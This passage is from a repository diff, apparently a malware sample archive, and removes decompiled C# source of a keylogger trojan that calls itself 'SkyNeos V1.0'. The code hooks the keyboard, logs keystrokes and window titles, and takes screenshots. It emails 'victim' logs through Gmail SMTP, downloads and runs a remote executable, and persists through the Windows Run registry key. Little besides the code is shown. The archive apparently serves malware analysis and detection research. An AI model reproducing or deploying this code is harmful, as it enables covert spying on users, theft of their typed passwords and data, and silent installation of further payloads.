mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

BIN
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de}
View File

Binary file not shown.

3
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/AssemblyInfo.cs
View File

@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]

216
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/GUlBzjdJZuXUZ.cs
View File

@ -1,216 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: GUlBzjdJZuXUZ
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class GUlBzjdJZuXUZ
{
private static int kKhkokmCeJtIL;
private static GUlBzjdJZuXUZ.ASvYaVgwkYxIH CnNbJKspONJRx;
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int JkEDoGvEtrDNw(
int OVixQZpDOdrXQ,
GUlBzjdJZuXUZ.ASvYaVgwkYxIH PtwVsZbphJSgl,
int KarfsBaOXggJJ,
int xoTigSPnRdwgV);
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int rSyKgXrYQAbDD(
int OVixQZpDOdrXQ,
int tTQGvBoPLHQNS,
int pOhAHcyUuPjyI,
ref GUlBzjdJZuXUZ.zWmTJkgAgppfp ETDCsoKFkSJxT);
[DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int WBcjPdLkrVgPN(int OVixQZpDOdrXQ);
public static event GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler xznKgAJnisfNw;
public static event GUlBzjdJZuXUZ.JcJpCktjOpApbEventHandler JcJpCktjOpApb;
public void ylfbkIvDnbUPN()
{
GUlBzjdJZuXUZ.CnNbJKspONJRx = new GUlBzjdJZuXUZ.ASvYaVgwkYxIH(this.eRrUpQbNYJhZS);
GUlBzjdJZuXUZ.kKhkokmCeJtIL = GUlBzjdJZuXUZ.JkEDoGvEtrDNw(13, GUlBzjdJZuXUZ.CnNbJKspONJRx, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
}
private int eRrUpQbNYJhZS(
int hJfLUaVFOtnuO,
int pOhAHcyUuPjyI,
ref GUlBzjdJZuXUZ.zWmTJkgAgppfp ETDCsoKFkSJxT)
{
if (hJfLUaVFOtnuO == 0)
{
switch (pOhAHcyUuPjyI)
{
case 256:
case 260:
GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler xznKgAjnisfNwEvent = GUlBzjdJZuXUZ.xznKgAJnisfNwEvent;
if (xznKgAjnisfNwEvent != null)
{
xznKgAjnisfNwEvent(this.kAWsZmNeBShsb((Keys) ETDCsoKFkSJxT.hJfLUaVFOtnuO));
break;
}
break;
case 257:
case 261:
GUlBzjdJZuXUZ.JcJpCktjOpApbEventHandler jpCktjOpApbEvent = GUlBzjdJZuXUZ.JcJpCktjOpApbEvent;
if (jpCktjOpApbEvent != null)
{
jpCktjOpApbEvent(this.kAWsZmNeBShsb((Keys) ETDCsoKFkSJxT.hJfLUaVFOtnuO));
break;
}
break;
}
}
return GUlBzjdJZuXUZ.rSyKgXrYQAbDD(GUlBzjdJZuXUZ.kKhkokmCeJtIL, hJfLUaVFOtnuO, pOhAHcyUuPjyI, ref ETDCsoKFkSJxT);
}
public void PhBaOrArmmuuz()
{
GUlBzjdJZuXUZ.WBcjPdLkrVgPN(GUlBzjdJZuXUZ.kKhkokmCeJtIL);
// ISSUE: explicit finalizer call
this.Finalize();
}
private string kAWsZmNeBShsb(Keys rBNTwUJxRpPsY)
{
Keys keys = rBNTwUJxRpPsY;
if (keys >= Keys.A && keys <= Keys.Z)
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? rBNTwUJxRpPsY.ToString() : rBNTwUJxRpPsY.ToString().ToLower();
if (keys >= Keys.D0 && keys <= Keys.D9)
{
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
return rBNTwUJxRpPsY.ToString().Replace("D", (string) null);
string Left = rBNTwUJxRpPsY.ToString();
if (Operators.CompareString(Left, "D1", false) == 0)
return "!";
if (Operators.CompareString(Left, "D2", false) == 0)
return "@";
if (Operators.CompareString(Left, "D3", false) == 0)
return "#";
if (Operators.CompareString(Left, "D4", false) == 0)
return "$";
if (Operators.CompareString(Left, "D5", false) == 0)
return "%";
if (Operators.CompareString(Left, "D6", false) == 0)
return "^";
if (Operators.CompareString(Left, "D7", false) == 0)
return "&";
if (Operators.CompareString(Left, "D8", false) == 0)
return "*";
if (Operators.CompareString(Left, "D9", false) == 0)
return "(";
if (Operators.CompareString(Left, "D0", false) == 0)
return ")";
}
else
{
if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
return rBNTwUJxRpPsY.ToString().Replace("NumPad", (string) null);
if (keys >= Keys.Multiply && keys <= Keys.Divide)
{
string Left = rBNTwUJxRpPsY.ToString();
if (Operators.CompareString(Left, "Divide", false) == 0)
return "/";
if (Operators.CompareString(Left, "Multiply", false) == 0)
return "*";
if (Operators.CompareString(Left, "Subtract", false) == 0)
return "-";
if (Operators.CompareString(Left, "Add", false) == 0)
return "+";
if (Operators.CompareString(Left, "Decimal", false) == 0)
return ".";
}
else
{
if (keys == Keys.Space)
return " ";
if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
{
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
{
string Left = rBNTwUJxRpPsY.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "_";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "+";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "{";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "}";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "|";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ":";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "\"";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return "<";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ">";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "?";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "~";
}
else
{
string Left = rBNTwUJxRpPsY.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "-";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "=";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "[";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "]";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "\\";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ";";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "'";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return ",";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ".";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "/";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "`";
}
}
else
return keys == Keys.Return ? Environment.NewLine : "<" + rBNTwUJxRpPsY.ToString() + ">";
}
}
return (string) null;
}
private delegate int ASvYaVgwkYxIH(
int tTQGvBoPLHQNS,
int pOhAHcyUuPjyI,
ref GUlBzjdJZuXUZ.zWmTJkgAgppfp ETDCsoKFkSJxT);
public delegate void xznKgAJnisfNwEventHandler(string kKhkokmCeJtIL);
public delegate void JcJpCktjOpApbEventHandler(string kKhkokmCeJtIL);
private struct zWmTJkgAgppfp
{
public int hJfLUaVFOtnuO;
public int JnwEUAkhUzEIO;
public int oLVJVojHfVVSX;
public int aCuGHCnXpQxYe;
public int lHtftDsJBGmPh;
}
}

699
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/LEThjJwJF.cs
View File

@ -1,699 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: LEThjJwJF
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
[StandardModule]
internal sealed class LEThjJwJF
{
public static Mutex LBfEuNPwTuuGhr;
public static string jxjVBchppIcvKk = "KrvSGxBAr";
[AccessedThroughProperty("IsaTynXgGxhXII")]
private static GUlBzjdJZuXUZ _IsaTynXgGxhXII;
public static string vyRLXDeEXvPQWn;
public static string zcgrfBtxzmomgI;
public static string EoCOQxuJnJYDws;
public static string tukiwEOEDyaPnz;
public static Thread oLCEyJcnQskyYp;
public static string CybgAJgPgyekGj;
public static Process dmflrmsAYJCkEy;
[AccessedThroughProperty("IcVuCUlomdNiel")]
private static System.Windows.Forms.Timer _IcVuCUlomdNiel;
private const int dnJJcXJyIKwvch = 7;
private const int NGLvHhzbViIlua = 1;
private const int tbVEQBdxchQoWB = 0;
public static string OnoIUSzrQrxnjB;
public static string wOUEeKkNhzkzfY;
public static string gPcDbDdHZdNBAW;
public static int LgTTNCfFJcIQQi;
public static int xBQNbJjyATSFJC;
public static LEThjJwJF.TSysInhDjBcGFY rDdhrXNgElssiY;
public static string BaYPuOHJbyQTtv;
public static bool VkOzzkssvUfPYY;
public static bool uooJgorLSWGNWt;
public static bool iokNYhvntnbVgp;
public static string OJtpurEVdlZmdS;
public static string zTOTtDtokbvSrZ;
public static string frJeiPgDsdQUYu;
public static string VxlrZQcCfRrFnE;
public static int xoHdskvHibDTJh;
public static bool tUQLlIpXzFpQeJ;
static LEThjJwJF()
{
LEThjJwJF.IsaTynXgGxhXII = new GUlBzjdJZuXUZ();
LEThjJwJF.EoCOQxuJnJYDws = "VzWJrYnjU";
LEThjJwJF.tukiwEOEDyaPnz = "OghDDYNXd.exe";
LEThjJwJF.IcVuCUlomdNiel = new System.Windows.Forms.Timer();
LEThjJwJF.OnoIUSzrQrxnjB = "";
LEThjJwJF.wOUEeKkNhzkzfY = "";
LEThjJwJF.gPcDbDdHZdNBAW = "smtp.gmail.com";
LEThjJwJF.LgTTNCfFJcIQQi = 587;
LEThjJwJF.xBQNbJjyATSFJC = 0;
LEThjJwJF.rDdhrXNgElssiY = (LEThjJwJF.TSysInhDjBcGFY) 0;
LEThjJwJF.BaYPuOHJbyQTtv = "";
LEThjJwJF.VkOzzkssvUfPYY = false;
LEThjJwJF.uooJgorLSWGNWt = false;
LEThjJwJF.iokNYhvntnbVgp = false;
LEThjJwJF.OJtpurEVdlZmdS = "";
LEThjJwJF.zTOTtDtokbvSrZ = "";
LEThjJwJF.frJeiPgDsdQUYu = "Title";
LEThjJwJF.VxlrZQcCfRrFnE = "Message";
LEThjJwJF.xoHdskvHibDTJh = 0;
LEThjJwJF.tUQLlIpXzFpQeJ = true;
}
public static GUlBzjdJZuXUZ IsaTynXgGxhXII
{
get => LEThjJwJF._IsaTynXgGxhXII;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler ajnisfNwEventHandler = new GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler(LEThjJwJF.OJJjDKZdzRzsTI);
if (LEThjJwJF._IsaTynXgGxhXII != null)
GUlBzjdJZuXUZ.xznKgAJnisfNw -= ajnisfNwEventHandler;
LEThjJwJF._IsaTynXgGxhXII = value;
if (LEThjJwJF._IsaTynXgGxhXII == null)
return;
GUlBzjdJZuXUZ.xznKgAJnisfNw += ajnisfNwEventHandler;
}
}
public static System.Windows.Forms.Timer IcVuCUlomdNiel
{
get => LEThjJwJF._IcVuCUlomdNiel;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(LEThjJwJF.eOZluvJzvJbKQp);
if (LEThjJwJF._IcVuCUlomdNiel != null)
LEThjJwJF._IcVuCUlomdNiel.Tick -= eventHandler;
LEThjJwJF._IcVuCUlomdNiel = value;
if (LEThjJwJF._IcVuCUlomdNiel == null)
return;
LEThjJwJF._IcVuCUlomdNiel.Tick += eventHandler;
}
}
[DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr ECEcSDPKNlQvLa();
[DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int vEFEvQdUmPZzjh(IntPtr oEdTzAmaPJUJpF, int sVttGxniuprKER);
[DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int RXObLtJLQodkGr();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int WJGkBFPXAviVGL(
int oEdTzAmaPJUJpF,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string cwppQcuhISQaZx,
int kJdbfAUxxSTCWk);
private static string AggalwHDhLcFHb()
{
string cwppQcuhISQaZx = new string(char.MinValue, 100);
LEThjJwJF.WJGkBFPXAviVGL(LEThjJwJF.RXObLtJLQodkGr(), ref cwppQcuhISQaZx, 100);
return cwppQcuhISQaZx.Substring(0, checked (Strings.InStr(cwppQcuhISQaZx, "\0") - 1));
}
public static void YXTfStbJfxcWgT(string syZuOZdVSbQJDx, string akvoUusLQaNmwv)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.SetValue(syZuOZdVSbQJDx, (object) akvoUusLQaNmwv);
}
public static void ogeDJGkbRGRssz(string syZuOZdVSbQJDx)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.DeleteValue(syZuOZdVSbQJDx, false);
}
public static void TlWvTrEsBCNDcF(string NgpLwlLuuhcRjj)
{
try
{
Mutex.OpenExisting(NgpLwlLuuhcRjj);
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
LEThjJwJF.LBfEuNPwTuuGhr = new Mutex(false, NgpLwlLuuhcRjj);
ProjectData.ClearProjectError();
}
}
public static string JnXhPZhzwjNJTY(int gQGSyEvtnLQcVN, int YEUyahwovERJrc)
{
Random random = new Random();
string str1 = (string) null;
string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM";
int num1 = random.Next(checked (gQGSyEvtnLQcVN + 1), YEUyahwovERJrc);
int num2 = 1;
while (num2 <= num1)
{
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f)));
str1 += Conversions.ToString(str2[index]);
checked { ++num2; }
}
return str1;
}
private static void OJJjDKZdzRzsTI(string otIDIvaQBJxmEP)
{
if (Operators.CompareString(LEThjJwJF.zcgrfBtxzmomgI, LEThjJwJF.AggalwHDhLcFHb(), false) != 0)
{
LEThjJwJF.vyRLXDeEXvPQWn = LEThjJwJF.vyRLXDeEXvPQWn + "\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:\r\n";
LEThjJwJF.zcgrfBtxzmomgI = LEThjJwJF.AggalwHDhLcFHb();
Console.WriteLine("\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:");
}
LEThjJwJF.vyRLXDeEXvPQWn += otIDIvaQBJxmEP;
Console.Write(otIDIvaQBJxmEP);
}
private static void eOZluvJzvJbKQp(object hyBhUjSkGpjtQn, EventArgs YekikJUBDRYaXk)
{
Console.WriteLine("A new log is sending...");
new Thread((ParameterizedThreadStart) (a0 => LEThjJwJF.WTnexoOosxyULb(Conversions.ToString(a0))))
{
IsBackground = true
}.Start((object) LEThjJwJF.vyRLXDeEXvPQWn);
LEThjJwJF.vyRLXDeEXvPQWn = "";
}
private static void WTnexoOosxyULb(string vlLsrZrnHJFsnA)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
string str = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".png";
label_2:
num3 = 3;
if (!LEThjJwJF.VkOzzkssvUfPYY)
goto label_7;
label_3:
num3 = 4;
SRBxUiHKAFOgn.JDZnglJSpvkpO();
label_4:
num3 = 5;
if (!System.IO.File.Exists(str))
goto label_6;
label_5:
num3 = 6;
System.IO.File.Delete(str);
label_6:
num3 = 8;
SRBxUiHKAFOgn.EJfUQWzljbDzy.Save(str, ImageFormat.Png);
label_7:
num3 = 10;
MailMessage message = new MailMessage();
label_8:
num3 = 11;
SmtpClient smtpClient1 = new SmtpClient(LEThjJwJF.gPcDbDdHZdNBAW);
label_9:
num3 = 12;
SmtpClient smtpClient2 = smtpClient1;
label_10:
num3 = 13;
smtpClient2.EnableSsl = true;
label_11:
num3 = 14;
smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJF.OnoIUSzrQrxnjB, LEThjJwJF.wOUEeKkNhzkzfY);
label_12:
num3 = 15;
smtpClient2.Port = LEThjJwJF.LgTTNCfFJcIQQi;
label_13:
smtpClient2 = (SmtpClient) null;
label_14:
num3 = 17;
MailMessage mailMessage = message;
label_15:
num3 = 18;
mailMessage.To.Add(LEThjJwJF.OnoIUSzrQrxnjB);
label_16:
num3 = 19;
mailMessage.From = new MailAddress(LEThjJwJF.OnoIUSzrQrxnjB);
label_17:
num3 = 20;
mailMessage.Subject = LEThjJwJF.BaYPuOHJbyQTtv;
label_18:
num3 = 21;
mailMessage.Body = vlLsrZrnHJFsnA;
label_19:
num3 = 22;
if (!LEThjJwJF.VkOzzkssvUfPYY)
goto label_21;
label_20:
num3 = 23;
mailMessage.Attachments.Add(new Attachment(str));
label_21:
num3 = 25;
if (!LEThjJwJF.iokNYhvntnbVgp)
goto label_23;
label_22:
num3 = 26;
mailMessage.Body = "Victim Username: " + LEThjJwJF.QlWcgtIzEAvYxr().ToString() + "\r\n" + mailMessage.Body;
label_23:
num3 = 28;
if (!LEThjJwJF.uooJgorLSWGNWt)
goto label_25;
label_24:
num3 = 29;
mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body;
label_25:
mailMessage = (MailMessage) null;
label_26:
num3 = 32;
smtpClient1.Send(message);
label_27:
num3 = 33;
Console.WriteLine("##### Logs have been sent! #####");
goto label_34;
label_29:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
case 8:
goto label_6;
case 9:
case 10:
goto label_7;
case 11:
goto label_8;
case 12:
goto label_9;
case 13:
goto label_10;
case 14:
goto label_11;
case 15:
goto label_12;
case 16:
goto label_13;
case 17:
goto label_14;
case 18:
goto label_15;
case 19:
goto label_16;
case 20:
goto label_17;
case 21:
goto label_18;
case 22:
goto label_19;
case 23:
goto label_20;
case 24:
case 25:
goto label_21;
case 26:
goto label_22;
case 27:
case 28:
goto label_23;
case 29:
goto label_24;
case 30:
case 31:
goto label_25;
case 32:
goto label_26;
case 33:
goto label_27;
case 34:
goto label_34;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_29;
}
throw ProjectData.CreateProjectError(-2146828237);
label_34:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void UkhPcxsAocURHi()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
WebClient webClient = new WebClient();
label_2:
num3 = 3;
Uri address = new Uri(LEThjJwJF.OJtpurEVdlZmdS);
label_3:
num3 = 4;
LEThjJwJF.CybgAJgPgyekGj = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".exe";
label_4:
num3 = 5;
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJF.tiBDFNfOUBvrAp);
label_5:
num3 = 6;
webClient.DownloadFileAsync(address, LEThjJwJF.CybgAJgPgyekGj);
goto label_12;
label_7:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_12;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void tiBDFNfOUBvrAp(object hyBhUjSkGpjtQn, AsyncCompletedEventArgs YekikJUBDRYaXk)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
Process process = new Process();
label_2:
num3 = 3;
ProcessStartInfo processStartInfo = process.StartInfo;
label_3:
num3 = 4;
processStartInfo.FileName = LEThjJwJF.CybgAJgPgyekGj;
label_4:
num3 = 5;
processStartInfo.UseShellExecute = true;
label_5:
processStartInfo = (ProcessStartInfo) null;
label_6:
num3 = 7;
process.Start();
goto label_13;
label_8:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_13;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_8;
}
throw ProjectData.CreateProjectError(-2146828237);
label_13:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static string QlWcgtIzEAvYxr()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string str = folderPath.Remove(folderPath.LastIndexOf("\\"));
return str.Substring(checked (str.LastIndexOf("\\") + 1));
}
[STAThread]
public static void Main()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
LEThjJwJF.TlWvTrEsBCNDcF(LEThjJwJF.jxjVBchppIcvKk);
label_2:
num3 = 3;
System.Windows.Forms.Timer timer = LEThjJwJF.IcVuCUlomdNiel;
label_3:
num3 = 4;
timer.Interval = checked (LEThjJwJF.xBQNbJjyATSFJC * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJF.rDdhrXNgElssiY))));
label_4:
num3 = 5;
timer.Start();
label_5:
timer = (System.Windows.Forms.Timer) null;
label_6:
num3 = 7;
LEThjJwJF.oLCEyJcnQskyYp = new Thread(new ThreadStart(LEThjJwJF.UkhPcxsAocURHi));
label_7:
num3 = 8;
Thread thread = LEThjJwJF.oLCEyJcnQskyYp;
label_8:
num3 = 9;
thread.IsBackground = true;
label_9:
num3 = 10;
thread.Start();
label_10:
thread = (Thread) null;
label_11:
num3 = 12;
LEThjJwJF.dmflrmsAYJCkEy = new Process();
label_12:
num3 = 13;
Process process = LEThjJwJF.dmflrmsAYJCkEy;
label_13:
num3 = 14;
process.StartInfo.FileName = LEThjJwJF.zTOTtDtokbvSrZ;
label_14:
num3 = 15;
process.StartInfo.UseShellExecute = true;
label_15:
num3 = 16;
process.Start();
label_16:
process = (Process) null;
label_17:
num3 = 18;
if (!LEThjJwJF.tUQLlIpXzFpQeJ)
goto label_19;
label_18:
num3 = 19;
int num4 = (int) Interaction.MsgBox((object) LEThjJwJF.VxlrZQcCfRrFnE, (MsgBoxStyle) LEThjJwJF.xoHdskvHibDTJh, (object) LEThjJwJF.frJeiPgDsdQUYu);
label_19:
num3 = 21;
Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!");
label_20:
num3 = 22;
string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
label_21:
num3 = 23;
MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJF.EoCOQxuJnJYDws);
label_22:
num3 = 24;
str = str + "\\" + LEThjJwJF.EoCOQxuJnJYDws + "\\" + LEThjJwJF.tukiwEOEDyaPnz;
label_23:
num3 = 25;
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true);
label_24:
num3 = 26;
LEThjJwJF.YXTfStbJfxcWgT(LEThjJwJF.EoCOQxuJnJYDws, str);
label_25:
num3 = 27;
LEThjJwJF.IsaTynXgGxhXII.ylfbkIvDnbUPN();
label_26:
num3 = 28;
Application.Run();
goto label_33;
label_28:
num2 = num3;
switch (num1)
{
case 1:
int num5 = num2 + 1;
num2 = 0;
switch (num5)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
case 21:
goto label_19;
case 22:
goto label_20;
case 23:
goto label_21;
case 24:
goto label_22;
case 25:
goto label_23;
case 26:
goto label_24;
case 27:
goto label_25;
case 28:
goto label_26;
case 29:
goto label_33;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_28;
}
throw ProjectData.CreateProjectError(-2146828237);
label_33:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public enum TSysInhDjBcGFY
{
DjvWwOByJrBNLL = 1,
apBLZiogekZfLD = 1000, // 0x000003E8
